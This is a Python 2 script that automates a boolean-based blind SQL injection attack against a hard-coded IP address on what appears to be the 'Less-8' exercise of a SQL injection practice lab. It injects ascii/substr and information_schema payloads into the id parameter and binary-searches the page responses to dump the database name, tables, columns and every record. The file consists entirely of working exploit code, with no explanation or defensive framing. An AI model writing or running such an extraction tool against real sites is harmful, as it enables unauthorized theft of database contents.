import urllib
import urllib2

tableData = []

url = "http://125.216.242.51/Less-8/?id=1"
success_str = "You are in"

asciipayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthpayload = "' and length(%s)>=%d #"
tablenumpayload = "' and (select count(table_name) from information_schema.tables where table_schema = '%s')>=%d #"
tablenamelenpayloadfront = "' and (select length(table_name) from information_schema.tables where table_schema = '%s' limit "
tablenamelenpayloadbehind = " ,1)>=%d #"
recordnumpayload = "' and (select count(*) from %s)>=%d #"
selectTable = "select table_name from information_schema.tables where table_schema = '%s' limit %d,1 "


def getLengthResult(payload,in_str,len):
    #print 'len=' + str(len)
    final_url = url + urllib.quote(payload % (in_str,len))
    #print final_url
    res = urllib2.urlopen(final_url)
    res_str = res.read()
    #print res_str
    if success_str in res_str:
        return True
    else:
        return False

def getAsciiResult(payload,in_str,pos,ascii):
    final_url = url + urllib.quote(payload % (in_str,pos,ascii))
    res = urllib2.urlopen(final_url)
    res_str = res.read()
    if success_str in res_str:
        return True
    else:
        return False

def getLength(payload,str):
    leftLen = 0
    rightLen = 0
    guess = 10
    step = 5
    flag = False
    while 1:
        if getLengthResult(payload,str,guess) == True:
            guess = guess + step
            flag = True
        else:
            if flag == True:
                rightLen = guess
                leftLen = guess - step
            else:
                rightLen = guess
            break
    #print leftLen,rightLen
    if rightLen - leftLen > 10:
        #binary serch
        while leftLen < rightLen-1:
            midLen = (leftLen + rightLen) >> 1
            if(getLengthResult(payload,str,midLen) == True):
                leftLen = midLen
            else:
                rightLen = midLen
        return leftLen
    else:
        #one by one
        for i in range(leftLen,rightLen+1):
            #print i
            if(getLengthResult(payload,str,i) == False):
                return i-1

def getAscii(payload,str,len):
    res = ''
    #32->127
    for i in range(1,len+1):
        leftAsc = 32
        rightAsc = 127
        #binary search
        while leftAsc < rightAsc - 1:
            midAsc = (leftAsc + rightAsc) >> 1
            if(getAsciiResult(payload,str,i,midAsc) == True):
                leftAsc = midAsc
            else:
                rightAsc = midAsc
        res += chr(leftAsc)
    return res

#the i table
def getSingleTableData(i):
    singleTableData = []
    tmpTableData = tableData[i-1]
    for j in range(1,tmpTableData["recordNum"]+1):
        pieceData = getPieceData(i,j)
        singleTableData.append(pieceData)
    #print singleTableData
    return singleTableData

#the i table, the j record
def getPieceData(i,j):
    pieceData = {}
    tmpTableData = tableData[i-1]
    tableName = tmpTableData["name"]
    for column in tmpTableData["columns"]:
        pieceData[column] = getSingleData(tableName,j,column)
    return pieceData

#the i record
def getSingleData(tableName,i,columnName):
    #print tableName,i,columnName
    datalenpayload = "' and (select length(" + columnName + ") from %s limit " + str(i-1) + ",1)>=%d #"
    singleDataLen = getLength(datalenpayload,tableName)
    #print singleDataLen
    selectsingledata = "select " + columnName + " from " + tableName + " limit " + str(i-1) + ",1"
    singleData = getAscii(asciipayload,selectsingledata,singleDataLen)
    return singleData

def solve():
    #get database length
    dbLen = getLength(lengthpayload,"database()")
    print "database length is " + str(dbLen)
    #get database name
    dbName = getAscii(asciipayload,"select database()",dbLen)
    print "database name is " + dbName
    #get tables in this database
    tableNum = getLength(tablenumpayload,dbName)
    print "there is " + str(tableNum) + " tables in " + dbName
    print "\n"
    #get tables' name
    for i in range(1,tableNum+1):
        tmpTableData = {}
        columnnumpayload = "' and (select count(column_name) from information_schema.columns where table_schema = '" + dbName + "' and table_name = '%s')>=%d #"

        print "get the " + str(i) + " table"
        #get the table name length
        tmpTableLen = getLength(tablenamelenpayloadfront + str(i-1) + tablenamelenpayloadbehind,dbName)
        print "table" + str(i) + "'s name length is " + str(tmpTableLen)
        #get the table name
        tmpTableName = getAscii(asciipayload,selectTable % (dbName,i-1),tmpTableLen)
        tmpTableData['name'] = tmpTableName
        print "table" + str(i) + "'s name is " + tmpTableName
        #getRecordNum
        tmpRecordNum = getLength(recordnumpayload,tmpTableName)
        tmpTableData['recordNum'] = tmpRecordNum
        print "table" + str(i) + "'s record num is " + str(tmpRecordNum)
        #get the columns num
        tmpColumnNum = getLength(columnnumpayload,tmpTableName)
        #print columnnumpayload
        print "table" + str(i) + "'s columns num is " + str(tmpColumnNum)
        #get columns' name
        columnName = []
        for j in range(1,tmpColumnNum + 1):
            #get column's length
            columnlenpayload = "' and (select length(column_name) from information_schema.columns where table_schema = '" + dbName + "' and table_name = '%s' limit " + str(j-1) + ",1)>=%d #"
            tmpColumnLen = getLength(columnlenpayload,tmpTableName)
            print "column " + str(j) + "'s length is " + str(tmpColumnLen)
            selectconlumn = "select column_name from information_schema.columns where table_schema = '" + dbName + "' and table_name = '" + tmpTableName + "' limit " + str(j-1) + ",1"
            tmpColumnName = getAscii(asciipayload,selectconlumn,tmpColumnLen)
            columnName.append(tmpColumnName)
            print "column " + str(j) + "'s name is " + tmpColumnName
            #print columnName
        tmpTableData['columns'] = columnName
        tableData.append(tmpTableData)
        #print tableData
        print "**********************************************************************************************************************"
        print "\n"
    for i in range (1,len(tableData)+1):
        print "get the " + str(i) + "'s record"
        singTableData = getSingleTableData(i)
        tableData[i-1]["record"] = singTableData
    print tableData
#solve()
#columnnumpayload = "' and (select count(column_name) from information_schema.columns where table_schema = 'security' and table_name = '%s')>=%d #"
#tmpColumnNum = getLengthResult(columnnumpayload,"users",4)
#print getSingleData("users",1,"username")
solve()
